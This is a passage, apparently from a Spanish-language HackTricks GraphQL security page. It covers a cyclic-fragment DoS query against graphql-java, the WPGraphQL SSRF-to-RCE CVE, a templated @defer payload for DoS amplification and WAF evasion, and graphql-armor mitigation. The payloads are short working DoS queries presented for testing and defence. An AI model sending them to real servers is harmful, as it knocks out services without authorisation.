  • Impacto: DoS no autenticado contra pilas de Java que integran graphql-java (Spring Boot, Netflix DGS, productos de Atlassian…).
graphql
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – Cadena SSRF a RCE de WPGraphQL

  • Afectado: WPGraphQL ≤ 1.14.5 (plugin de WordPress).
  • Causa raíz: la mutación createMediaItem aceptaba URLs de filePath controladas por el atacante, permitiendo acceso a la red interna y escritura de archivos.
  • Impacto: Editores/Autores autenticados podrían acceder a puntos finales de metadatos o escribir archivos PHP para ejecución remota de código.

Abuso de entrega incremental: @defer / @stream

Desde 2023, la mayoría de los servidores principales (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementaron las directivas de entrega incremental definidas por el WG de GraphQL-over-HTTP. Cada parche diferido se envía como un fragmento separado, por lo que el tamaño total de la respuesta se convierte en N + 1 (sobre + parches). Una consulta que contiene miles de pequeños campos diferidos, por lo tanto, produce una gran respuesta mientras que solo le cuesta al atacante una solicitud: un clásico amplificación DoS y una forma de eludir las reglas de WAF de tamaño de cuerpo que solo inspeccionan el primer fragmento. Los propios miembros del WG señalaron el riesgo.

Ejemplo de carga útil generando 2 000 parches:

graphql
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Mitigación: deshabilitar @defer/@stream en producción o hacer cumplir max_patches, max_bytes acumulativos y tiempo de ejecución. Bibliotecas como graphql-armor (ver abajo) ya imponen valores predeterminados sensatos.


Middleware defensivo (2024+)

ProyectoNotas
graphql-armorMiddleware de validación Node/TypeScript publicado por Escape Tech. Implementa límites plug-and-play para la profundidad de la consulta, conteos de alias/campo/directiva, tokens y costo; compatible con Apollo Server, GraphQL Yoga/Envelop, Helix, etc.

Inicio rápido:

ts
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor ahora bloqueará consultas excesivamente profundas, complejas o con muchas directivas, protegiendo contra las CVEs mencionadas anteriormente.


Herramientas

Escáneres de vulnerabilidades

Scripts para explotar vulnerabilidades comunes

Clientes

Pruebas Automáticas

https://graphql-dashboard.herokuapp.com/

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks